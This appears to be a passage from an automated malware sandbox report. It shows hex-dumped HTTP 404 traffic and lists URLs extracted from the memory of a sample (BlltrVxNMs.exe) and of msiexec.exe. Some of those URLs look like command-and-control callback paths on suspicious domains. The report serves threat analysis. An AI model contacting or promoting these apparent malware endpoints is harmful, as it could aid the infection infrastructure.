68 31 3e 45 72 72 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 3c 2f 68 31 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 50 6c 65 61 73 65 20 74 72 79 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 23 31 22 3e 67 6f 20 62 61 63 6b 3c 2f 61 3e 20 6f 72 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 72 65 74 75 72 6e 20 74 6f 20 74 68 65 20 68 6f 6d 65 70 61 67 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 47 6f 6f 64 20 6c 75 63 6b 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:38:53 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 690X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c 22 3e 0a 20 20 3c 68 31 3e 45 72 72 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 3c 2f 68 31 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 50 6c 65 61 73 65 20 74 72 79 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 23 31 22 3e 67 6f 20 62 61 63 6b 3c 2f 61 3e 20 6f 72 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 72 65 74 75 72 6e 20 74 6f 20 74 68 65 20 68 6f 6d 65 70 61 67 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 47 6f 6f 64 20 6c 75 63 6b 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></htm
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Tue, 05 Nov 2024 14:38:59 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 12 78 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b fa ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f 82 28 08 eb 07 08 fb 4e e2 34 35 c6 48 9c 79 3f 6a ef b8 71 50 0e 3a dc bb 79 92 97 0f d0 df fb 97 f6 7e d8 2b 0d 9f 12 38 81 be a7 15 8e e7 45 59 f0 00 dd f4 a7 4e 19 44 d9 bb ee ff f8 29 7e 05 dc 3a ca b3 6f 90 9f e7 35 28 6f ec e1 45 55 91 38 a7 07 68 9f e4 6e fc 7f c0 ee fb 10 7f 4e 94 7d e0 f4 2c e4 7d 02 fc fa 01 72 9a 3a 7f cf ec 85 5c 3e 5b f1 23 fd 4d 77 08 43 af 3d f0 a6 e9 f7 12 54 45 9e 55 e0 3e ca fc fc 46 d1 57 bb f2 97 f6 c6 fb 6a 7a 55 3b 75 53 dd bb b9 07 6e 26 5f a2 e6 d9 fd 14 8a fe c3 1f cd 2e 81 53 e5 d9 d7 f3 71 ea 7a fe 10 92 5f b9 e0 4a b2 8b 4d dd fa a2 d7 b7 9f 9e fd fe cc eb 7e 28 14 37 0c 5f b5 45 2f ed 53 79 87 58 1a 02 c3 49 3e 33 d7 55 b4 96 a0 00 4e fd 00 65 f9 fd f3 cf 37 b8 41 fc ab 91 af 5c 71 86 60 49 f6 fd b0 57 da f4 d2 de 68 57 5a de 4a e4 7c a1 d4 9f 87 b8 8f 6a 90 56 37 30 3f 23 09 47 8b fe 43 2a 45 d9 5b 2a 33 c4 17 81 76 ed 8f 1b f4 97 38 de e7 75 9d a7 0f d0 c0 e3 4d d9 9f 15 e8 a5 94 8c ae 89 57 96 78 87 7f 6b 86 c1 dd f7 1e 70 f3 d2 19 fc f7 00 35 99 07 ca a1 08 bd 67 f4 6a 71 12 a7 39 fe ca 1b 5f f2 79 08 f3 16 94 57 f1 f5 5e 8c 07 3f 77 9b ea 6b b2 e3 d6 51 7b 9b 39 af 42 e0 ec 88 64 46 6f 02 5e 09 f1 75 14 bf d6 b5 cf 1c 75 95 92 d8 17 66 6c 92 1b df fc cc b4 28 bb d4 ec 4f 6a 5e 12 55 f5 fd 65 59 19 02 3e 03 50 de d4 55 e4 81 cb cb 9b f8 83 23 5f a5 bb 29 c6 3f c3 eb aa ff 4d db 26 81 92 e8 46 2c 3f c9 87 fc 1a 2a e3 7b 0e 17 4f 3b 49 14 64 0f 90 0b b2 1a 94 6f f4 37 c8 ef 37 79 f3 12 f4 9f 71 ba 2c b8 0f 10 f6 55 0d 1b ea e6 7d 94 3a c1 ad 1b 7f 2a f5 65 ed bd 4c 1d 76 39 51 16 dc ea 37 ac b9 dd cb fa b8 cf 13 ef 4d 8b c1 8e d7 5a 7e b4 41 97 97 de fd be 04 4e fc 00 5d 1e f7 4e 92 bc 07 f8 53 5a 55 a0 6c 41 09 39 9e 57 82 ea b6 24 7c 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Tue, 05 Nov 2024 14:39:02 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 12 78 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b fa ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f 82 28 08 eb 07 08 fb 4e e2 34 35 c6 48 9c 79 3f 6a ef b8 71 50 0e 3a dc bb 79 92 97 0f d0 df fb 97 f6 7e d8 2b 0d 9f 12 38 81 be a7 15 8e e7 45 59 f0 00 dd f4 a7 4e 19 44 d9 bb ee ff f8 29 7e 05 dc 3a ca b3 6f 90 9f e7 35 28 6f ec e1 45 55 91 38 a7 07 68 9f e4 6e fc 7f c0 ee fb 10 7f 4e 94 7d e0 f4 2c e4 7d 02 fc fa 01 72 9a 3a 7f cf ec 85 5c 3e 5b f1 23 fd 4d 77 08 43 af 3d f0 a6 e9 f7 12 54 45 9e 55 e0 3e ca fc fc 46 d1 57 bb f2 97 f6 c6 fb 6a 7a 55 3b 75 53 dd bb b9 07 6e 26 5f a2 e6 d9 fd 14 8a fe c3 1f cd 2e 81 53 e5 d9 d7 f3 71 ea 7a fe 10 92 5f b9 e0 4a b2 8b 4d dd fa a2 d7 b7 9f 9e fd fe cc eb 7e 28 14 37 0c 5f b5 45 2f ed 53 79 87 58 1a 02 c3 49 3e 33 d7 55 b4 96 a0 00 4e fd 00 65 f9 fd f3 cf 37 b8 41 fc ab 91 af 5c 71 86 60 49 f6 fd b0 57 da f4 d2 de 68 57 5a de 4a e4 7c a1 d4 9f 87 b8 8f 6a 90 56 37 30 3f 23 09 47 8b fe 43 2a 45 d9 5b 2a 33 c4 17 81 76 ed 8f 1b f4 97 38 de e7 75 9d a7 0f d0 c0 e3 4d d9 9f 15 e8 a5 94 8c ae 89 57 96 78 87 7f 6b 86 c1 dd f7 1e 70 f3 d2 19 fc f7 00 35 99 07 ca a1 08 bd 67 f4 6a 71 12 a7 39 fe ca 1b 5f f2 79 08 f3 16 94 57 f1 f5 5e 8c 07 3f 77 9b ea 6b b2 e3 d6 51 7b 9b 39 af 42 e0 ec 88 64 46 6f 02 5e 09 f1 75 14 bf d6 b5 cf 1c 75 95 92 d8 17 66 6c 92 1b df fc cc b4 28 bb d4 ec 4f 6a 5e 12 55 f5 fd 65 59 19 02 3e 03 50 de d4 55 e4 81 cb cb 9b f8 83 23 5f a5 bb 29 c6 3f c3 eb aa ff 4d db 26 81 92 e8 46 2c 3f c9 87 fc 1a 2a e3 7b 0e 17 4f 3b 49 14 64 0f 90 0b b2 1a 94 6f f4 37 c8 ef 37 79 f3 12 f4 9f 71 ba 2c b8 0f 10 f6 55 0d 1b ea e6 7d 94 3a c1 ad 1b 7f 2a f5 65 ed bd 4c 1d 76 39 51 16 dc ea 37 ac b9 dd cb fa b8 cf 13 ef 4d 8b c1 8e d7 5a 7e b4 41 97 97 de fd be 04 4e fc 00 5d 1e f7 4e 92 bc 07 f8 53 5a 55 a0 6c 41 09 39 9e 57 82 ea b6 24 7c 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Tue, 05 Nov 2024 14:39:04 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 12 78 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b fa ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f 82 28 08 eb 07 08 fb 4e e2 34 35 c6 48 9c 79 3f 6a ef b8 71 50 0e 3a dc bb 79 92 97 0f d0 df fb 97 f6 7e d8 2b 0d 9f 12 38 81 be a7 15 8e e7 45 59 f0 00 dd f4 a7 4e 19 44 d9 bb ee ff f8 29 7e 05 dc 3a ca b3 6f 90 9f e7 35 28 6f ec e1 45 55 91 38 a7 07 68 9f e4 6e fc 7f c0 ee fb 10 7f 4e 94 7d e0 f4 2c e4 7d 02 fc fa 01 72 9a 3a 7f cf ec 85 5c 3e 5b f1 23 fd 4d 77 08 43 af 3d f0 a6 e9 f7 12 54 45 9e 55 e0 3e ca fc fc 46 d1 57 bb f2 97 f6 c6 fb 6a 7a 55 3b 75 53 dd bb b9 07 6e 26 5f a2 e6 d9 fd 14 8a fe c3 1f cd 2e 81 53 e5 d9 d7 f3 71 ea 7a fe 10 92 5f b9 e0 4a b2 8b 4d dd fa a2 d7 b7 9f 9e fd fe cc eb 7e 28 14 37 0c 5f b5 45 2f ed 53 79 87 58 1a 02 c3 49 3e 33 d7 55 b4 96 a0 00 4e fd 00 65 f9 fd f3 cf 37 b8 41 fc ab 91 af 5c 71 86 60 49 f6 fd b0 57 da f4 d2 de 68 57 5a de 4a e4 7c a1 d4 9f 87 b8 8f 6a 90 56 37 30 3f 23 09 47 8b fe 43 2a 45 d9 5b 2a 33 c4 17 81 76 ed 8f 1b f4 97 38 de e7 75 9d a7 0f d0 c0 e3 4d d9 9f 15 e8 a5 94 8c ae 89 57 96 78 87 7f 6b 86 c1 dd f7 1e 70 f3 d2 19 fc f7 00 35 99 07 ca a1 08 bd 67 f4 6a 71 12 a7 39 fe ca 1b 5f f2 79 08 f3 16 94 57 f1 f5 5e 8c 07 3f 77 9b ea 6b b2 e3 d6 51 7b 9b 39 af 42 e0 ec 88 64 46 6f 02 5e 09 f1 75 14 bf d6 b5 cf 1c 75 95 92 d8 17 66 6c 92 1b df fc cc b4 28 bb d4 ec 4f 6a 5e 12 55 f5 fd 65 59 19 02 3e 03 50 de d4 55 e4 81 cb cb 9b f8 83 23 5f a5 bb 29 c6 3f c3 eb aa ff 4d db 26 81 92 e8 46 2c 3f c9 87 fc 1a 2a e3 7b 0e 17 4f 3b 49 14 64 0f 90 0b b2 1a 94 6f f4 37 c8 ef 37 79 f3 12 f4 9f 71 ba 2c b8 0f 10 f6 55 0d 1b ea e6 7d 94 3a c1 ad 1b 7f 2a f5 65 ed bd 4c 1d 76 39 51 16 dc ea 37 ac b9 dd cb fa b8 cf 13 ef 4d 8b c1 8e d7 5a 7e b4 41 97 97 de fd be 04 4e fc 00 5d 1e f7 4e 92 bc 07 f8 53 5a 55 a0 6c 41 09 39 9e 57 82 ea b6 24 7c 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkeddate: Tue, 05 Nov 2024 14:39:07 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 32 37 36 44 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20

Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005D06000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005DC6000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://abuali-contracting.art/ytnk/?Q2_4=uFAB3rEwaKr/uv81jElgMKFBplV4zOO0W/0UV/qGGe8UYgGdotW
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.00000000061BC000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.000000000627C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://cdn.jsinit.directfwd.com/sk-jspark_init.php
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000006804000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.00000000068C4000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer
Source: BlltrVxNMs.exe, 00000002.00000002.9380185277.0000000001607000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.osi.garden
Source: BlltrVxNMs.exe, 00000002.00000002.9380185277.0000000001607000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.osi.garden/gqtu/
Source: msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000006B28000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000006BE8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://answers.netlify.com/t/support-guide-i-ve-deployed-my-site-but-i-still-see-page-not-found/125
Source: msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000006672000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000006732000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lso83ossf5u2arbuqd8p.png
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://dev-to.s3.us-east-2.amazonaws.com/favicon.ico
Source: -f1ZI14.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4999748750.0000000008296000.00000004.00000020.00020000.00000000.sdmp, -f1ZI14.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: -f1ZI14.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://gcdnb.pbrd.co/images/Gegd7gc1KW00.jpg?o=1);background-size:
